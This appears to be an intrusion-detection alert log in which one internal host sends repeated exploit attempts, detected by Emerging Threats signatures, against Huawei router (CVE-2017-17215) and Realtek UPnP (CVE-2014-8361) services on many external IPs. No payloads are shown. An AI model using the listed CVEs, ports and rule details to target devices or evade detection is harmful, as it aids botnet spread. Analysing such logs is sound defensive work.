ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 44.173.173.82

Timestamp:	07/20/24-23:01:06.332005
SID:	2025132
Source Port:	53400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.199.154

Timestamp:	07/20/24-23:01:22.806676
SID:	2835222
Source Port:	58190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.242.51.154

Timestamp:	07/20/24-23:01:36.852816
SID:	2835222
Source Port:	60748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 106.43.123.108

Timestamp:	07/20/24-23:01:14.530874
SID:	2831300
Source Port:	35364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.27.107.182

Timestamp:	07/20/24-23:01:22.736600
SID:	2835222
Source Port:	59158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 163.65.36.38

Timestamp:	07/20/24-23:01:22.741097
SID:	2829579
Source Port:	50284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.147.219.6

Timestamp:	07/20/24-23:01:25.460589
SID:	2829579
Source Port:	51320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 169.107.232.198

Timestamp:	07/20/24-23:01:32.201728
SID:	2829579
Source Port:	56450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 1.6.86.123

Timestamp:	07/20/24-23:01:07.605472
SID:	2027339
Source Port:	51432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.117.198.70

Timestamp:	07/20/24-23:01:32.250505
SID:	2835222
Source Port:	43210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.232.250.10

Timestamp:	07/20/24-23:01:27.276711
SID:	2829579
Source Port:	37430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.23.112.9

Timestamp:	07/20/24-23:01:14.531479
SID:	2027339
Source Port:	52724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.118.164.216

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	44644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.85.21.124

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	39152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 216.1.152.81

Timestamp:	07/20/24-23:01:05.860143
SID:	2025132
Source Port:	54888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 83.59.61.36

Timestamp:	07/20/24-23:01:14.527257
SID:	2831300
Source Port:	54994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 202.179.114.114

Timestamp:	07/20/24-23:01:03.838826
SID:	2027339
Source Port:	45482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 64.40.133.93

Timestamp:	07/20/24-23:01:04.841989
SID:	2835222
Source Port:	52210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 90.220.208.134

Timestamp:	07/20/24-23:01:04.594736
SID:	2027339
Source Port:	43384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 17.217.65.15

Timestamp:	07/20/24-23:01:05.643403
SID:	2027339
Source Port:	60734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.216.232.252

Timestamp:	07/20/24-23:01:14.999580
SID:	2835222
Source Port:	59478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 222.97.13.69

Timestamp:	07/20/24-23:01:05.829182
SID:	2025132
Source Port:	33150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.82.97

Timestamp:	07/20/24-23:01:08.447448
SID:	2829579
Source Port:	48688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.252.251.212

Timestamp:	07/20/24-23:01:05.807508
SID:	2027339
Source Port:	49084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.65.122.143

Timestamp:	07/20/24-23:01:06.812906
SID:	2835222
Source Port:	37212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 82.246.219.130

Timestamp:	07/20/24-23:01:14.502469
SID:	2027339
Source Port:	50310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 188.112.111.250

Timestamp:	07/20/24-23:01:14.574230
SID:	2831300
Source Port:	36660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.230.49.196

Timestamp:	07/20/24-23:01:25.449989
SID:	2829579
Source Port:	53680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 210.103.19.185

Timestamp:	07/20/24-23:01:04.892226
SID:	2835222
Source Port:	44036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.6.40.195

Timestamp:	07/20/24-23:01:06.801053
SID:	2835222
Source Port:	50078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.125.198

Timestamp:	07/20/24-23:01:32.203847
SID:	2835222
Source Port:	38444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 20.106.107.244

Timestamp:	07/20/24-23:01:06.856653
SID:	2027339
Source Port:	38670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.249.254.95

Timestamp:	07/20/24-23:01:27.222234
SID:	2835222
Source Port:	51670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 71.240.247.135

Timestamp:	07/20/24-23:01:04.977218
SID:	2025132
Source Port:	60772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 37.205.184.129

Timestamp:	07/20/24-23:01:06.270558
SID:	2027339
Source Port:	40392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 136.164.189.225

Timestamp:	07/20/24-23:01:06.162884
SID:	2027339
Source Port:	47210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.240.160

Timestamp:	07/20/24-23:01:27.269293
SID:	2829579
Source Port:	55950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.206.41.168

Timestamp:	07/20/24-23:01:17.785461
SID:	2829579
Source Port:	55268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.220.255.251

Timestamp:	07/20/24-23:01:22.740155
SID:	2829579
Source Port:	32846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.183.17

Timestamp:	07/20/24-23:01:06.801543
SID:	2829579
Source Port:	41412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 50.236.24.191

Timestamp:	07/20/24-23:01:07.419109
SID:	2025132
Source Port:	58454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.180.181

Timestamp:	07/20/24-23:01:27.306441
SID:	2835222
Source Port:	46756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.98.226.158

Timestamp:	07/20/24-23:01:08.449908
SID:	2829579
Source Port:	34018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.221.111.207

Timestamp:	07/20/24-23:01:04.848080
SID:	2829579
Source Port:	39652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.171.243.41

Timestamp:	07/20/24-23:01:08.392180
SID:	2829579
Source Port:	52668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 32.227.60.125

Timestamp:	07/20/24-23:01:07.518638
SID:	2027339
Source Port:	42540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.88.127.111

Timestamp:	07/20/24-23:01:36.846304
SID:	2829579
Source Port:	55204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.244.28

Timestamp:	07/20/24-23:01:36.783608
SID:	2829579
Source Port:	48296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.38.204.155

Timestamp:	07/20/24-23:01:27.297470
SID:	2835222
Source Port:	44254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 158.124.195.199

Timestamp:	07/20/24-23:01:14.518210
SID:	2831300
Source Port:	47726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.203.145.177

Timestamp:	07/20/24-23:01:25.413014
SID:	2835222
Source Port:	37102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.11.177.150

Timestamp:	07/20/24-23:00:59.021905
SID:	2835222
Source Port:	42974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.176.116.11

Timestamp:	07/20/24-23:01:36.808711
SID:	2829579
Source Port:	33960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.212.180.198

Timestamp:	07/20/24-23:01:04.917925
SID:	2829579
Source Port:	40334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 98.109.125.254

Timestamp:	07/20/24-23:01:32.232613
SID:	2829579
Source Port:	59510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.88.11

Timestamp:	07/20/24-23:01:25.388974
SID:	2829579
Source Port:	58504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 157.51.202.158

Timestamp:	07/20/24-23:01:19.625770
SID:	2025132
Source Port:	33640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 119.98.5.56

Timestamp:	07/20/24-23:01:14.566160
SID:	2027339
Source Port:	59608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 81.73.195.232

Timestamp:	07/20/24-23:01:06.264587
SID:	2025132
Source Port:	41372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.209.30.110

Timestamp:	07/20/24-23:01:06.813789
SID:	2835222
Source Port:	46768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.230.111.60

Timestamp:	07/20/24-23:00:59.021308
SID:	2829579
Source Port:	54950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.196.57

Timestamp:	07/20/24-23:01:27.237697
SID:	2835222
Source Port:	56156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 199.170.141.174

Timestamp:	07/20/24-23:01:04.582480
SID:	2027339
Source Port:	60622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.52.246.40

Timestamp:	07/20/24-23:01:06.798720
SID:	2835222
Source Port:	59462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.173.191.191

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	47680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.25.75

Timestamp:	07/20/24-23:01:12.533731
SID:	2829579
Source Port:	38810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.187.16.84

Timestamp:	07/20/24-23:01:04.874130
SID:	2829579
Source Port:	41272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.18.109

Timestamp:	07/20/24-23:01:04.853128
SID:	2835222
Source Port:	55044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.96.53.15

Timestamp:	07/20/24-23:01:22.748875
SID:	2835222
Source Port:	58870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 176.200.162.136

Timestamp:	07/20/24-23:01:20.583023
SID:	2027339
Source Port:	59676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.249.154

Timestamp:	07/20/24-23:01:22.810316
SID:	2829579
Source Port:	47092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.219.200

Timestamp:	07/20/24-23:00:59.020988
SID:	2835222
Source Port:	32838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 178.39.107.192

Timestamp:	07/20/24-23:01:14.544463
SID:	2027339
Source Port:	59054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.29.113.77

Timestamp:	07/20/24-23:01:36.787101
SID:	2829579
Source Port:	38846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 198.95.42.42

Timestamp:	07/20/24-23:01:14.539078
SID:	2831300
Source Port:	38008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.6.92.121

Timestamp:	07/20/24-23:01:36.780553
SID:	2829579
Source Port:	54864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.203.138.176

Timestamp:	07/20/24-23:01:25.390311
SID:	2835222
Source Port:	50316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.240.168

Timestamp:	07/20/24-23:01:36.787101
SID:	2829579
Source Port:	44574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 80.21.51.67

Timestamp:	07/20/24-23:01:14.566461
SID:	2831300
Source Port:	60598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.105.18

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	37986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.184.222.159

Timestamp:	07/20/24-23:01:06.804996
SID:	2835222
Source Port:	47910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 4.4.167.103

Timestamp:	07/20/24-23:01:06.011611
SID:	2027339
Source Port:	49424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 2.24.106.226

Timestamp:	07/20/24-23:01:14.558193
SID:	2831300
Source Port:	45534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 91.73.86.81

Timestamp:	07/20/24-23:01:05.552200
SID:	2025132
Source Port:	37294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 191.251.66.209

Timestamp:	07/20/24-23:01:14.522654
SID:	2831300
Source Port:	57278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 170.171.127.228

Timestamp:	07/20/24-23:01:14.513824
SID:	2831300
Source Port:	43224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.33.56.225

Timestamp:	07/20/24-23:01:32.208939
SID:	2835222
Source Port:	36340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 207.192.171.160

Timestamp:	07/20/24-23:01:27.354561
SID:	2831300
Source Port:	45708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.147.3

Timestamp:	07/20/24-23:01:27.229449
SID:	2829579
Source Port:	52816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.206.51.10

Timestamp:	07/20/24-23:01:36.785491
SID:	2829579
Source Port:	48460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.150.61

Timestamp:	07/20/24-23:01:22.810316
SID:	2829579
Source Port:	36086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 79.212.148.111

Timestamp:	07/20/24-23:01:07.304193
SID:	2027339
Source Port:	46714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 182.85.50.153

Timestamp:	07/20/24-23:00:59.019539
SID:	2835222
Source Port:	36272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.211.184

Timestamp:	07/20/24-23:01:25.390310
SID:	2829579
Source Port:	51690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.219.233.88

Timestamp:	07/20/24-23:00:59.023399
SID:	2835222
Source Port:	45584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.153.241.221

Timestamp:	07/20/24-23:01:32.264711
SID:	2829579
Source Port:	39814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.30.82.100

Timestamp:	07/20/24-23:01:06.801544
SID:	2829579
Source Port:	50934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.127.237.138

Timestamp:	07/20/24-23:01:32.248799
SID:	2835222
Source Port:	38748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.27.225.240

Timestamp:	07/20/24-23:01:22.745836
SID:	2835222
Source Port:	44476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 120.120.202.208

Timestamp:	07/20/24-23:01:14.513708
SID:	2027339
Source Port:	37464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 114.155.105.80

Timestamp:	07/20/24-23:01:20.451577
SID:	2025132
Source Port:	57476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

